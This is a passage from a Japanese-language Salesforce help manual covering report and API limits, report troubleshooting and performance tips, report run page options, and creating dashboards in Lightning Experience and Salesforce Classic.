のページレイアウトエディタはサポートされていません。
• ユーザは、詳細ページで 60 分ごとに 100 個までのレポートグラフを更新できます。
• 組織は、60 分ごとに 3,000 個までのレポートグラフを更新できます。

リストビューの制限
• リストビューのカスタムロングテキストエリア項目では、先頭の 255 文字だけが表示されます。

バケットおよびバケット項目の制限
• 各レポートには、最大 5 個のバケット項目を含めることができます。
• 各バケット項目には、最大 20 個のバケットを含めることができます。
• 各バケットには、最大 20 個の値を含めることができます。
• バケット項目は、バケット項目が生成されたレポートでのみ使用できます。バケットを複数のレポート

で使用するには、レポートごとに項目を作成するか、バケットに依存するオブジェクトに対して別個の
数式項目を作成します。

メモ: 以上の制限は、バケット項目の設定で許可されている [その他] の使用には適用されません。

• バケットおよびバケット項目は、外部オブジェクトを含むレポートでは使用できません。
• バケット項目のソース列にカスタムインデックスがあり、そのバケット項目で絞り込みを行った場合、

カスタムインデックスによるパフォーマンス上の利点が失われます。
外部オブジェクトレポートの制限

レポートに外部オブジェクトが含まれる場合、結果が、完全なデータセットを反映していない可能性があ
ります。外部オブジェクトの動作はカスタムオブジェクトと似ていますが、Salesforce 組織外に保存された
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データに対応付けられるという点が異なります。外部オブジェクトが含まれるレポートは、主オブジェク
トに対して最大2,000レコードを取得します。そのため、外部オブジェクトデータの取得中にコールアウト
制限に達する可能性があります。生成されるレポートの行がわずかであるかまったくない場合、より多く
の関連する外部オブジェクト行を取得するようにレポートをカスタマイズしてください。

レポートおよびダッシュボード API の制限
次の制限は、レポートおよびダッシュボード REST API と Apex 経由のレポートおよびダッシュボード API の両方
に適用されます。
• クロス条件、標準レポート条件、行制限による絞り込みは、データを絞り込む場合には使用できません。
• 履歴トレンドレポートは、マトリックスレポートでのみサポートされています。
• API では、列として選択された 100 個までの項目を含むレポートのみ処理できます。
• 最近参照した 200 個までのレポートのリストが返されます。
• 1 時間あたり 500 回までのレポートの同期実行を組織で要求できます。
• API では、一度に 20 回までのレポートの同期実行の要求をサポートしています。
• 非同期に実行された 2,000 個までのレポートインスタンスのリストが返されます。
• API では、レポートの非同期実行の結果を取得するために、一度に 200 件までの要求をサポートしています。
• 1 時間あたり 1,200 回までの非同期要求を組織で要求できます。
• レポートの非同期実行の結果は、24 時間以内に使用できます。
• API では、レポートの最初の 2,000 行までが返されます。検索条件を使用して結果を絞り込むことができま

す。
• レポートの実行時にカスタム項目の検索条件を 20 件まで追加できます。
• 1 時間あたり 200 回までのダッシュボードの更新を組織で要求できます。
• 1 時間あたり最大 5,000 個のダッシュボードの結果を組織で要求できます。

関連トピック:

レポートおよびダッシュボード: Lightning Experience で使用できない機能とその新機能

レポートのトラブルシューティング

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

レポートの操作中に発生した問題を解決するには、次のヒントを使用してくだ
さい。

1. カスタムまたは外部オブジェクトでレポートを実行できない理由は?

場合によって、オブジェクト、そのレポートタイプ、またはアクセス権が完
全に設定されていないことがあります。

2. グラフの表示ラベルが重なる原因は?

グラフの表示ラベルは、重なって読みにくくなることがあります。データが
多すぎて収まらないという場合もあれば、グラフの区分や系列が狭すぎる場
合もあります。
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3. 私のレポートにデータがまったく返されない理由は?

レポートしようとしているレコードへのアクセス権があることをシステム管理者に確認します。依然とし
てレポートに結果が表示されない場合は、次のように検索条件の範囲を広げます。

4. レポートビルダーの数式オプションが表示されない理由は?

レポートビルダーの [項目] ペインに [新規カスタム集計項目を追加] オプションが表示されない場合は、
レポート形式をサマリー、マトリックス、または結合に変更します。表形式レポートには数式は表示され
ません。

5. 私のレポートに期待するデータが返されない理由は?

検索条件、グループ化、項目、レポートタイプ、およびロールまたはユーザの階層を確認して、データに
関する質問内容が正しいことを確認してください。

6. 共通のレポート制限とは?

共通のレポート制限は、次のとおりです。分析上の制限事項に関する完全なリストについては、『Salesforce

の制限クイックリファレンスガイド』を参照してください。
7. 「無効なレポート」メッセージを受け取る理由は?

使用不可のデータに関してレポートしようとしている可能性があります。
8. レポートパフォーマンスの向上

レポートのパフォーマンスが悪かったり、タイムアウトしたりする原因には多くの要因があります。多く
の場合、適切な検索条件の演算子を使用する、適用する検索条件数を増やす、データ量を削減するなど、
簡単な変更を行うことで対処できます。

9. レポートの「ロール階層」の履歴に古いロール名が表示される理由は?

ロール名を変更しても、レポートは自動的には更新されません。最新のロール名を表示するには、ロール
レコードの [レポートに表示するロール名] 項目を変更してください。

関連トピック:

Salesforce Connect — すべてのアダプタのレポートに関する考慮事項

カスタムまたは外部オブジェクトでレポートを実行できない理由は?

場合によって、オブジェクト、そのレポートタイプ、またはアクセス権が完全に設定されていないことがあり
ます。
カスタムまたは外部オブジェクトでレポートを実行できない場合、システム管理者に次の条件が当てはまるか
どうかを確認してください。
• カスタムまたは外部オブジェクトでレポートが有効になっている。
• オブジェクトとそのレコードに対するアクセス権がある。
• オブジェクトとそのカスタムレポートタイプがリリース済みである。

グラフの表示ラベルが重なる原因は?

グラフの表示ラベルは、重なって読みにくくなることがあります。データが多すぎて収まらないという場合も
あれば、グラフの区分や系列が狭すぎる場合もあります。
表示ラベルが重ならないようにするには、次の処理を試してください。
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• グラフを大きくする。レポート内のグラフのサイズを「大」または「特大」に変更するか、ダッシュボー
ドの列幅を広げます。

• 余分なグルーピングレベルを削除する。他の種類のグラフを使用してグルーピングレベル数を減らます。
たとえば、横棒グラフの方がグループ化した横棒グラフより値が少なくなります。

• 横棒グラフを使用する。横棒グラフは、縦棒グラフとは余白の使い方が異なります。横棒グラフの利点は、
幅は固定されるが、縦方向に拡張して多くのグルーピングを表示できるという点にあります。グラフの設
定に応じて、Chatter の写真も表示できます。

• スケールを変更する。グラフでより大きい単位を使用するように設定します。たとえば、値を 1000 または
1000000 単位で表します。

• 小さい値をグループピングする。円グラフ、ドーナツグラフ、じょうごグラフでは [他のものを組み合わせ
る] オプションを選択します。

私のレポートにデータがまったく返されない理由は?

レポートしようとしているレコードへのアクセス権があることをシステム管理者に確認します。依然としてレ
ポートに結果が表示されない場合は、次のように検索条件の範囲を広げます。
• 自分のレコード以外のレコードを表示します。たとえば、[表示] > [すべての取引先] を選択します。
• 期間条件を広げます。たとえば、[範囲] の [常時] を選択するか、より広いカスタム範囲を選択します。
• 項目の絞り込みの演算子を慎重に選択します。「[取引先所有者] [次の文字列と一致する] [John James]」

を選択すると、得られる可能性のある結果は厳密に「John James」に限定されます。予測される結果が表示
されない場合は、代わりに「[取引先所有者] [次の文字列を含む] [James]」を使用して選択を広げるこ
とを検討してください。

• 条件検索ロジックを確認します。条件の組み合わせがすべてのデータを除外していないことを確認します。
レポートを制限することによりパフォーマンスが向上しますが、表示するデータが条件で除外されないことを
確認します。
レポートに外部オブジェクトが含まれる場合、結果が、完全なデータセットを反映していない可能性がありま
す。外部オブジェクトの動作はカスタムオブジェクトと似ていますが、Salesforce組織外に保存されたデータに
対応付けられるという点が異なります。外部オブジェクトが含まれるレポートは、主オブジェクトに対して最
大 2,000 レコードを取得します。そのため、外部オブジェクトデータの取得中にコールアウト制限に達する可
能性があります。生成されるレポートの行がわずかであるかまったくない場合、より多くの関連する外部オブ
ジェクト行を取得するようにレポートをカスタマイズしてください。

レポートビルダーの数式オプションが表示されない理由は?

レポートビルダーの [項目] ペインに [新規カスタム集計項目を追加] オプションが表示されない場合は、レ
ポート形式をサマリー、マトリックス、または結合に変更します。表形式レポートには数式は表示されませ
ん。

私のレポートに期待するデータが返されない理由は?

検索条件、グループ化、項目、レポートタイプ、およびロールまたはユーザの階層を確認して、データに関す
る質問内容が正しいことを確認してください。

5039

レポート分析



絞り込み
必要なすべてのデータが含まれていることを確認します。レポートの検索条件を変更するには、マウスポ
インタを置いて [編集] または [削除] をクリックします。レポートを実行すると検索条件が表示され、その
ページで [編集] をクリックすると、さらに変更できます。

グルーピング
項目別にグループ化すると、レポートの詳細から削除されます。レポートをエクスポートする場合、項目
が表示されますが、詳細領域には表示されません。

項目
グルーピングの確認後、項目を確認します。レポートに複数の関連レコード、たとえば、取引先、その商
談、およびその商品が含まれる場合、取引先レコード、商談レコード、および商品品目名の詳細ページを
検索して、項目にデータが含まれているようにします。データを必要な形式で利用できない場合は、Salesforce

システム管理者と協力してデータを取得するための数式項目を追加します。数式項目をオブジェクトに追
加すると、レコード詳細ページとレポートにデータが表示されます。

レポートタイプ
レポートタイプが適切ではない、または、期待するレコードがそのレポートタイプに必要なオブジェクト
間のリレーションを共有していない可能性があります。レポートを選択した場合、レポートタイプで利用
できる項目を確認してください。
レポートタイプに親と子の両方のオブジェクトが含まれる場合、子項目はレポートに使用されません。子
レコードがあるかどうかに関係なく、レポートには親レコードが示されます。

階層
[階層]オプションでは、ロールまたはユーザ階層に基づいて異なるデータセットをドリルダウンできます。
選択した階層レベル、またはそのデフォルトロールが、表示されるデータに影響を与える可能性がありま
す。

メモ: 階層は、活動レポートと商談レポートに適用されます。

外部オブジェクト
レポートに外部オブジェクトが含まれる場合、結果が、完全なデータセットを反映していない可能性があ
ります。外部オブジェクトの動作はカスタムオブジェクトと似ていますが、Salesforce 組織外に保存された
データに対応付けられるという点が異なります。外部オブジェクトが含まれるレポートは、主オブジェク
トに対して最大2,000レコードを取得します。そのため、外部オブジェクトデータの取得中にコールアウト
制限に達する可能性があります。生成されるレポートの行がわずかであるかまったくない場合、より多く
の関連する外部オブジェクト行を取得するようにレポートをカスタマイズしてください。

共通のレポート制限とは?

共通のレポート制限は、次のとおりです。分析上の制限事項に関する完全なリストについては、『Salesforce の
制限クイックリファレンスガイド』を参照してください。

エディション情報制限機能

Enterprise Edition、Unlimited Edition、Performance Edition、およ
び Developer Edition で使用できます。

最大 5 個 (各バケット項目
には 20 個のバケットを含
めることができます)

レポートあたりのバ
ケット項目
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エディション情報制限機能

すべてのエディションで使用可能。最大 400,000 個の集計値。
この制限を超えるデータ
は表示されません。

マトリックスレポート

使用可能なエディションは、Professional Edition、Enterprise

Edition、Unlimited Edition、Performance Edition、および
Developer Edition です。

エディションに基づい
て、1 時間あたり 1 つまた
は 2 つ

組織あたりのスケ
ジュール済みレポート

すべてのエディションで使用可能。最大 20 個レポートあたりの項目
の検索条件

すべてのエディションで使用可能。最大 5 個レポートあたりの数式

すべてのエディションで使用可能。最大 2,000個。すべての行
を表示するには、Excel に

レポートに表示される
行

レポートをエクスポート
するか、表形式レポート
およびサマリーレポート
用の印刷用ビューを使用
します。結合レポートで
は、エクスポートは使用
できず、印刷用ビューに
は最大 20,000 行を表示し
ます。

すべてのエディションで使用可能。サマリーレポートおよび
マトリックスレポートで

レポートビルダーのプ
レビューに表示される
行 は最大 20 行、および表形

式では最大 50 行

「無効なレポート」メッセージを受け取る理由は?

使用不可のデータに関してレポートしようとしている可能性があります。
次の理由で、データを使用できない可能性があります。
• レポート内のオブジェクトがレポートに対して有効になっていない。
• レポート内でオブジェクトによって使用されている参照関係が削除されたか、変更されている。
• レポート内のオブジェクトが削除されている。
• レポート内のオブジェクトに対する「表示」権限を持っていない。
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レポートパフォーマンスの向上

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

レポートのパフォーマンスが悪かったり、タイムアウトしたりする原因には多
くの要因があります。多くの場合、適切な検索条件の演算子を使用する、適用
する検索条件数を増やす、データ量を削減するなど、簡単な変更を行うことで
対処できます。
レポートの実行には数秒から数分かかります。レポートが複雑でタイムアウト
制限を超過して、失敗することがあります。レポートの読み込みに時間がかか
る場合は通常、次の原因が考えられます。
• クエリ対象のオブジェクトの数が多すぎる
• 複雑なルックアップを処理している
• 項目数が多すぎる
たとえば、営業チームのレポートを実行する場合に、営業担当者ごとのリード
数を表示するとします。会社内のすべてのリードを返すレポートを作成します。
これで、必要なデータはすべて取得されますが、不要なデータも含まれるため、
レポートの実行に時間がかかります。レポートの実行時間を短縮するには、チームに割り当てられたリードの
みを返すようにレポートを絞り込みます。レポートをさらに迅速に実行するには、時間によって絞り込むこと
を検討してください。昨年またはそれ以前のリードが必要でない場合は、レポートの範囲を今年に絞る 2 つ目
の検索条件を追加します。これで、レポートの実行速度が大幅に短縮されます。
レポートを表示できず、タイムアウトを回避するためにレポートを編集する場合は、?edit=1 をレポートの
URL に追加します。このようにすると、編集モードになり条件を調整できます。次の方法を試して、レポート
がより効率的に実行されるようにしてください。
• 絞り込みを行う場合、[次の文字列を含む]または [次の文字列を含まない]ではなく、[次の文字列と一致す

る] または [次の文字列と一致しない] 演算子を使用します。たとえば、「取引先所有者 次の文字列を含む
John」ではなく、「取引先所有者 次の文字列と一致する John James」を使用します。検索条件ロジック
に、[OR] ではなく、[AND] を選択します。

• レポートの日付の範囲を絞り込むには、期間条件を使用します。たとえば、[当会計年度] ではなく [過去
30 日間] を使用します。

• 表示する [日付項目] と [範囲] を選択して、期間条件を設定します。その期間条件のレコードのみが表示
されます。

• 不要な列または項目を削除して、レポート内の項目数を減らします。
• 活動レポートの結果が多すぎるというエラーメッセージが表示される場合は、選択リスト、テキスト、ま

たは日付項目で絞り込みます。あるいは、[取引先が関連する活動] または [商談が関連する活動] など、異な
る活動データの種別を使用してレポートをもう一度実行します。

• 時間条件、範囲条件、および検索条件を追加して、検索結果をさらに絞り込みます。

レポートの「ロール階層」の履歴に古いロール名が表示される理由は?

ロール名を変更しても、レポートは自動的には更新されません。最新のロール名を表示するには、ロールレ
コードの [レポートに表示するロール名] 項目を変更してください。

5042

レポート分析



レポートへの正しいデータの入力
適切に設計されたレポートは、生データをユーザが操作できる情報に変換するのに役立ちます。値を集計して
意味のあるカテゴリにグループ化し、関連のないデータを除外して、複数のオブジェクトに関するデータを一
度に収集します。

レポートデータの効果的な伝達
レポートでは、情報がテーブル形式で生成されます。ユーザが必要な情報をすばやくスキャンできるように、
このテーブルを設定できます。また、ユーザが視覚的にデータを理解できるようにグラフを追加したり、レ
ポートのデータをダッシュボードに表示したりできます。

関連トピック:

レポートデータのグラフィカル表示
テーブルへのレポートデータの表示
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レポート実行ページ

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience
の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

レポートを実行する
• 「レポート実行」

レポートをスケジュール
する
• 「レポートのスケ

ジュール」

レポートを作成、編集、
および削除する
• 「レポートの作成とカ

スタマイズ」

および

「レポートビルダー」

レポート実行ページでは、レポート実行時にレポートに対して実行する内容を
制御できます。
レポート実行ページから、次の操作が可能です。
• レポートに関する更新および投稿の Chatter フィードを表示する。
• [レポート生成状況] を表示する。
• [階層] オプションを選択する。
• [集計情報] ドロップダウンを使用して最上位のグループ化を変更する。
• [期間条件] および [表示] オプションを変更する。
• [レポート実行] をクリックして、すぐにレポートの実行またはスケジュール

の設定を行う。
• [詳細の表示] をクリックしてすべてのデータを表示するか、[詳細を非表示]

をクリックして概要のみを表示する。
• [カスタマイズ] をクリックして、レポートビルダーでレポートを開く。
• レポートを印刷またはエクスポートする。
• [登録] をクリックしてレポート通知を設定する。これにより、レポートの特

定の総計値が条件に一致すると常に通知されます。
• グラフの横にある[編集]をクリックしてプロパティを変更するか、[大]、[中]、

または [小] をクリックしてサイズを変更する。
• レポートの結果を並び替える。
• 適用した検索条件を編集またはクリアする。
• サマリーレポートおよびマトリックスレポートについて、選択した行を特定

の項目で絞り込む。表示する行を選択し、グループ化する項目を選択してか
ら、[ドリルダウン] をクリックします。たとえば、案件を業種別に表示する
商談レポートを作成する場合、順調な業種を選択して [商品名] でグループ
化し、その業種でどの商品が売れているかを見ることができます。[クリア]

をクリックすると、ドリルダウン検索条件が削除されます。

関連トピック:

レポート実行ページオプション
レポートの結果の制限

レポート実行ページオプション
レポート実行ページをカスタマイズすることにより、お客様のニーズに合わせて特定の情報をサポートするこ
とができます。
レポート実行ページでは、設定に応じて、次の項目とボタンが使用可能です。
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説明オプション

レポートビルダーを開いて、レポートのカスタマイズをサポートします。カスタマイズ

レコードに関する日付固有の情報 (作成日、最終更新日、最終活動日など) を
選択します。

日付項目

レポートを削除します。削除したレポートは、ごみ箱に移動されます。削除

あらゆる項目の [換算値] 列に表示されるレポート小計と金額の通貨種別を決
定します。マルチ通貨を使用する組織でのみ表示されます。
レポートの金額はそれぞれのオリジナルの通貨で表示され、レポートの合計
金額は個人設定の通貨で表示されます。通貨を変更するには、レポートビル

次の通貨で表示する

ダーに移動して [表示] > [使用する通貨] をクリックし、有効な通貨を選択し
ます。すべての金額に対して、[換算値] 列を表示することも選択できます ([年
間売上 (換算値)] など)。[換算値] 列には、選択した通貨で金額が表示されま
す。

レポートに含めるレコードのディビジョンを決定します。現在の所属ディビ
ジョンのレコードを表示するには、[--現在--] を選択します。すでに対象が指

ディビジョン

定されているレポート (「私のケース」、「私の商談チームの取引先」など)

には、すべてのディビジョンのレコードが含まれています。組織がディビ
ジョンを使用してデータを分類し、かつ「ディビジョンの使用」権限を持っ
ている場合にのみ使用できます。「ディビジョンの使用」権限を持っていな
い場合は、レポートに、全ディビジョンのレコードが表示さます。

サマリーレポートおよびマトリックスレポートについて、選択した行を特定
の項目で絞り込む。表示する行を選択し、グループ化する項目を選択してか

ドリルダウン

ら、[ドリルダウン] をクリックします。たとえば、案件を業種別に表示する
商談レポートを作成する場合、順調な業種を選択して [商品名] でグループ
化し、その業種でどの商品が売れているかを見ることができます。[クリア]

をクリックすると、ドリルダウン検索条件が削除されます。

レポートのデータを Microsoft® Excel スプレッドシートファイルまたは CSV (カン
マ区切り形式) ファイルにエクスポートします。

詳細のエクスポート

ロールまたはテリトリーの階層に基づいて、レポートデータの表示のオプ
ションが表示されます。個人ユーザ、ロール、または組織全体のデータを表

階層

示します。Professional Edition、Enterprise Edition、Unlimited Edition、Performance

Edition、および Developer Edition でのみ使用できます。

簡単に印刷できるように Microsoft Excel 形式のレポートを表示します。印刷用に表示

商談の所有者または商談チームに基づいて範囲を指定し、商談レポートに表
示するデータを制限します。

商談との関係

レポートの期間を指定します。レポートのレポート種別に対して定義された
標準またはカスタムの日付項目を使用して、データを特定の日付に制限でき
ます。[開始日] 項目と [終了日] 項目を使用します。

範囲
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説明オプション

現在のレポート設定に基づいて、レポートデータを再生成します。レポート実行

既存のカスタムレポートのいずれかに変更を保存します。保存

カスタムレポート、標準レポート、または公開レポートに加えたパラメータ
変更を、元のレポートを変更することなく、新しい名前で保存します。

別名で保存

レポートに含める項目 (所有するレコードのみ、またはアクセス可能なすべて
のレコード) を指定します。レポートにチームデータを表示するには、このオ
プションを使用します。

表示

すべての情報を表示するか、概要のみを表示するかを切り替えます。詳細の表示/詳細を非表示

登録することで、特定の総計値が指定した条件を満たすたびにレポート通知
を受信できます。

登録

指定した項目の小計が示されます。集計情報

ケースの対応期間を表示する単位 (日、時間、または分) を選択します。オー
プンケースの対応期間は、作成から現在までの経過時間を表します。クロー
ズケースの対応期間は、作成からクローズまでの経過時間を表します。

単位

関連トピック:

レポート実行ページ
カスタムレポートの作成

レポートの使用開始
レポート環境を設定し、レポートビルダーを使用して基本レポートを作成し、必要なときに容易に情報を検索
できるようにレポートを整理します。ほとんどの場合、手始めに標準レポートを作成し、ニーズに応じてカス
タマイズします。
参照アクセス権または参照・更新アクセス権を持っているデータについてレポートを作成できます。使用可能
なデータは共有モデルによって異なりますが、ほとんどの場合、共有モデルに関係なく、ロール階層で自分よ
り下位のユーザが所有するデータまたはこれらのユーザと共有するデータについてレポートを作成できます
(特定の共有モデルでは、レポートの作成が許可されていない)。Salesforce では、次の 2 通りの方法で、自分と
自分より下位のユーザが所有する情報のレポートを作成できます。
• 一部のレポートには[表示]条件が設定されています。自分とロール階層内で自分よりも下位のユーザが所

有するデータを参照するには、[私のチームの商談] など、「私のチームの」が付くオプションを選択しま
す。

• 商談レポートや活動レポートなどの一部のレポートには、ロール階層またはユーザ階層に基づいてさまざ
まなデータセットにドリルダウンできる [階層] リンクがあります。組織がテリトリー管理を使用している
場合、一部のレポートでは、これらのリンクがテリトリー階層に基づきます。
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レポートをカスタマズするときに、レポートをレコード所有者またはロールで並び替えることができます。

関連トピック:

レポートパフォーマンスの向上
新規レポートの作成
レポートによるデータへのアクセス
標準レポートタイプ

レポートによるデータへのアクセス

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ある期間にわたって組織に蓄積されたデータを活用するには、レポートを使用
します。組織のデータをほとんど無限の組み合わせで調査して理解しやすい形
式で表示し、その結果として得られる洞察をダッシュボードを介して他のユー
ザと共有できます。
レポートは、一定の条件を満たすレコードセットを返し、行と列に整理して表
示します。レポートデータは、条件で絞り込んだり、グループ化したり、グラ
フなどの図にして表示したりすることができます。レポートはフォルダに保存
され、フォルダごとに誰にアクセス権を与えるかを制御します。

関連トピック:

レポートのカスタマイズ
標準レポートタイプ

ダッシュボード
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ダッシュボードを使用すると、変化するビジネスの状況を視覚的に把握し、レ
ポートで収集したリアルタイムのデータに基づいて意思決定を行うことができ
ます。ダッシュボードを使用して、ユーザがトレンドを把握し、数量を解明し、
活動の影響を測定できるようにします。ダッシュボードの作成、参照、共有を
行う前に、次のダッシュボードの基本を確認してください。
ダッシュボードを使用して Salesforce データの選定の準備をするときには、次の
ヒントに留意してください。
• ダッシュボードに表示されるすべてのデータはレポートから提供されます。

ダッシュボードには、複数のレポートのデータを表示できます。
• ダッシュボードを更新する場合、すべてのデータ提供元レポートを実行する

必要があります。レポートの実行に時間がかかる場合、ダッシュボードでも
時間がかかります。

• ダッシュボードはフォルダで共有されます。ダッシュボードの保存先フォル
ダへの権限があれば、誰でもダッシュボードにアクセスできます。適切なフォルダにダッシュボードを保
存してください。

ダッシュボードを作成または参照する前に、次の機能と概念についてよく理解してください。
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ダッシュボードエディタ
ダッシュボードエディタは視覚的なドラッグアンドドロップツールで、ダッシュボードの作成や既存のダッ
シュボードの編集を行います。また、ダッシュボードコンポーネントの追加、編集、および並び替えも行
います。
ダッシュボードエディタを起動するには、[新規ダッシュボード] をクリックします。

コンポーネント
ダッシュボードは、コンポーネントで構成されます。各コンポーネントには、1 つのレポートのデータを表
示するグラフや総計値が含まれます。コンポーネントごとに異なるレポートのデータが表示されます。

実行ユーザ ([次のユーザとして参照])

Salesforce では、ユーザごとに異なるデータアクセス権限が割り当てられます。ダッシュボードには、ダッ
シュボードの実行ユーザがアクセスできるデータのみが表示されます。
たとえば、リードを表すダッシュボードを表示しているとします。Emily はすべてのリードを参照する営業
担当マネージャで、Marcus は自分が所有するリードのみを参照する営業担当です。Emily がダッシュボード
の実行ユーザの場合、ダッシュボードには Salesforce のすべてのリードに関するデータが表示されます。
Marcus が実行ユーザの場合、ダッシュボードには Marcus が所有するリードに関するデータのみが表示され
ます。

1. ダッシュボードの作成
Salesforce データを同僚と共有する準備が整ったら、ダッシュボードを作成します。ダッシュボードを使用
すると、グラフ、テーブル、および総計値を使用してレポートのデータを選定できます。同僚が詳細な情
報を必要とする場合、ダッシュボードのデータ提供元レポートを参照できます。

2. ダッシュボードの絞り込み
ダッシュボード検索条件により、1 つのダッシュボードからさまざまなデータの組み合わせを簡単に得られ
ます。異なるユーザセットでダッシュボードを分ける必要はありません。各グループに合った検索条件を
指定するだけで済みます。ダッシュボードで検索条件を使用すると、次にダッシュボードにアクセスする
ときに絞り込まれたビューが再度表示されます。

3. どのユーザとしてダッシュボードを表示するかの選択
たとえば、営業担当は各自の商談のみが表示可能であるものの、あなたは前四半期に成立したすべての商
談を確認する必要があるとします。ダッシュボードを作成すれば、そのダッシュボードをあなた (またはす
べての商談を表示できる誰か) の代わりに他のユーザが表示できるようにすることができます。営業担当が
ダッシュボードを開くと、各自の商談の代わりにすべての商談に関する情報が表示されます。(営業担当の
Salesforce でのアクセス権は変更されません。営業担当はそのダッシュボードでのみ追加データを見ること
ができます。)

4. ダッシュボードの実行とその後の参照
ダッシュボードの名前をクリックして実行します。ダッシュボードグラフはインタラクティブであるため、
ダッシュボードにマウスポインタを置いてクリックし、詳細を確認してください。

5. ダッシュボードの共有
ダッシュボードは、選定されたインタラクティブなデータセットを同僚と共有する最適な方法です。

6. ダッシュボードの整理
ダッシュボードを簡単に使用できる状態に保つには、ダッシュボードをフォルダに分類し、使用しないレ
ポートを削除します。レポートが多数ある場合、検索項目を使用して必要なレポートを検索できます。
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7. ダッシュボードの制限
データからダッシュボードを作成する場合、次の制限と制約に注意してください。

8. 私のダッシュボードに期待するデータが表示されない理由は?

期待するデータが表示されない場合は、最新のデータに更新し、適切な実行ユーザが存在することをチェッ
クし、ダッシュボードのデータソースを確認します。

9. ダッシュボードによる複雑な情報の視覚化
ダッシュボードを使用すると、レポートで収集したリアルタイムのデータに基づいて意思決定を行うこと
ができます。ダッシュボードを使用して、ユーザがトレンドを把握し、数量を解明し、活動の影響を測定
できるようにします。

10. iPad でのユーザへのダッシュボード表示
Mobile Dashboards for iPad アプリケーションは、組織で自動的に有効になるため、管理者が設定をしなくても
ユーザはアプリケーションにアクセスできます。

ダッシュボードの作成

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

Salesforce データを同僚と共有する準備が整ったら、ダッシュボードを作成しま
す。ダッシュボードを使用すると、グラフ、テーブル、および総計値を使用し
てレポートのデータを選定できます。同僚が詳細な情報を必要とする場合、ダッ
シュボードのデータ提供元レポートを参照できます。

1. Lightning Experience ダッシュボードを作成
Lightning Experienceダッシュボードを作成して、レポートのデータをグラフィ
カルに表示します。

2. Salesforce Classic ダッシュボードを作成
ダッシュボードを作成してレポートでデータを視覚化します。

3. ダッシュボードの使用
ダッシュボードでは、ソースレポートから得たデータを、グラフ、ゲージ、テーブル、総計値、または
Visualforce ページなど、視覚化されたコンポーネントとして表示します。コンポーネントは、組織の主要な
総計値のスナップショットおよびパフォーマンスの指標を提供します。

4. AppExchange からの CRM サンプルダッシュボードのインストール
ビジネスニーズを満たすダッシュボードを作成するための開始点として、AppExchangeにあるこれらのダッ
シュボードを使用します。
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Lightning Experience ダッシュボードを作成

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ダッシュボードを作成す
る
• 「レポート実行」およ

び「ダッシュボードの
管理」

自分が作成したダッシュ
ボードを編集および削除
する
• 「レポート実行」およ

び「ダッシュボードの
管理」

自分以外が作成したダッ
シュボードを編集および
削除する
• 「レポート実行」、

「ダッシュボードの管
理」および「すべての
データの参照」

動的ダッシュボードを作
成、編集、および削除す
る
• 「レポート実行」およ

び「動的ダッシュボー
ドの管理」

Lightning Experience ダッシュボードを作成して、レポートのデータをグラフィカ
ルに表示します。
このトピックでは、Lightning Experience でのレポートのダッシュボード作成につ
いて説明します。Salesforce Classic または Wave Analytics でのダッシュボード作成の
詳細は、次の記事を参照してください。
• Salesforce Classic ダッシュボードを作成
• Wave ダッシュボードの構築

ヒント: ダッシュボードをコピーすると、表示しているダッシュボードと
同じプロパティとコンポーネントを使用して新しいダッシュボードをすば
やく作成できます。[コピー] をクリックして、ダッシュボード設定を変更
し、保存します。

1. 必要に応じて、表示するデータを含むカスタムレポートを作成します。

重要: 対象とするダッシュボードビューアがアクセスできるフォルダに
これらのレポートを保存してください。

2. [ダッシュボード] タブで、[新規ダッシュボード] をクリックします。
3. ダッシュボードに名前を付けます。

必要に応じて、簡単な説明を入力します。
4. ダッシュボードにコンポーネントを追加するには、[追加]をクリックします。
5. [保存] をクリックし、[完了] をクリックします。
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Salesforce Classic ダッシュボードを作成

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ダッシュボードを作成す
る
• 「レポート実行」およ

び「ダッシュボードの
管理」

自分が作成したダッシュ
ボードを編集および削除
する
• 「レポート実行」およ

び「ダッシュボードの
管理」

自分以外が作成したダッ
シュボードを編集および
削除する
• 「レポート実行」、

「ダッシュボードの管
理」および「すべての
データの参照」

動的ダッシュボードを作
成、編集、および削除す
る
• 「レポート実行」およ

び「動的ダッシュボー
ドの管理」

ダッシュボードを作成してレポートでデータを視覚化します。
このトピックでは、Salesforce Classicでのレポートのダッシュボード作成について
説明します。Salesforce Classic または Wave Analytics でのダッシュボード作成の詳細
は、次の記事を参照してください。
• Lightning Experience ダッシュボードの作成
• Wave ダッシュボードの構築

ヒント: ダッシュボードをコピーすると、表示しているダッシュボードと
同じプロパティとコンポーネントを使用して新しいダッシュボードをすば
やく作成できます。[コピー] をクリックして、ダッシュボード設定を変更
し、保存します。

1. 表示するデータを含むカスタムレポートを作成します。

重要: 対象とするダッシュボードビューアがアクセスできるフォルダに
これらのレポートを保存してください。

2. [ダッシュボード] タブをクリックします。
3. [ダッシュボード一覧に戻る] をクリックします。
4. [新規ダッシュボード] をクリックします。

既存のダッシュボードを変更するには、リストから名前をクリックします。
5. ダッシュボードをカスタマイズして、[保存] をクリックします。

関連トピック:

ダッシュボードの削除
AppExchange からの CRM サンプルダッシュボードのインストール
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ダッシュボードの使用

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ダッシュボードを作成す
る
• 「レポート実行」およ

び「ダッシュボードの
管理」

自分が作成したダッシュ
ボードを編集および削除
する
